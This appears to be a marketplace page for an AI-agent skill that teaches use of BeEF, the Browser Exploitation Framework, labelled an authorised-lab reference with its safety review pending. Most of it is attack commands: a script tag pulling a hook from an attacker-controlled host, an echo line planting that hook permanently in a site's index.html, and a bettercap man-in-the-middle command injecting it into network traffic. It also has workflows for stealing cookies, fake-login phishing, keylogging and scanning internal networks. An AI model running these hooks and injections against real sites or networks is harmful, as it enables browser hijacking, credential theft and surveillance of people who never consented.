# Beef

> Auth/lab ref: Browser Exploitation Framework - hook browsers via XSS/injected JS and perform client-side testing.

- Skill: `aeondave/beef` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add aeondave/beef`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/beef/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/beef

---


# BeEF (Browser Exploitation Framework)

Hook browsers via XSS and execute client-side attacks from a web console.

## Quick Start

```bash
# Kali
beef-xss

# Or from source
git clone https://github.com/beefproject/beef
cd beef && ./install && ./beef

# Panel: http://127.0.0.1:3000/ui/panel
# Default creds: beef/beef
# Hook URL: http://YOUR_IP:3000/hook.js
```

## Inject Hook

```html
<!-- Inject in XSS payload or MITM response -->
<script src="http://YOUR_IP:3000/hook.js"></script>
```

## Key Module Categories

| Category | Examples |
|----------|---------|
| Network | Port scanner, ping sweep, SSRF |
| Browser | Fingerprint, clipboard steal, camera access |
| Social Engineering | Fake login, fake update, clickjacking |
| Exploits | Browser CVEs, Java exploits |
| Persistence | Persistent hook via service worker |
| Misc | Keylogger, screenshot, geolocation |

## Common Workflows

**Steal cookies via hooked browser:**
```
Modules > Browser > Hooked Domain > Get Cookie
```

**Phishing via fake login overlay:**
```
Modules > Social Engineering > Pretty Theft
```

**Port scan internal network from browser:**
```
Modules > Network > Port Scanner
# Set targets: 192.168.1.1-254
```

## Hook Persistence

```js
// Service Worker persistence (browser-based)
// Modules > Persistence > Create Foreground iFrame
// Modules > Persistence > Man-In-The-Browser
```

```bash
# Embed in page permanently (if you have file write)
echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html
```

## Configuration (`config.yaml`)

```yaml
beef:
  credentials:
    user: "beef"
    passwd: "changeme"      # Change default
  http:
    host: "0.0.0.0"
    port: "3000"
  https:
    enable: true
    port: "3001"
```

## Combine with Other Attacks

```bash
# Inject via Responder + MITM (if on LAN)
# Inject via stored XSS
# Inject via MITM with bettercap
bettercap -eval "set http.proxy.injectjs http://YOUR_IP:3000/hook.js; http.proxy on"
```

## Resources

| File | When to load |
|------|--------------|
| `references/modules.md` | Full module list by category, hook persistence techniques |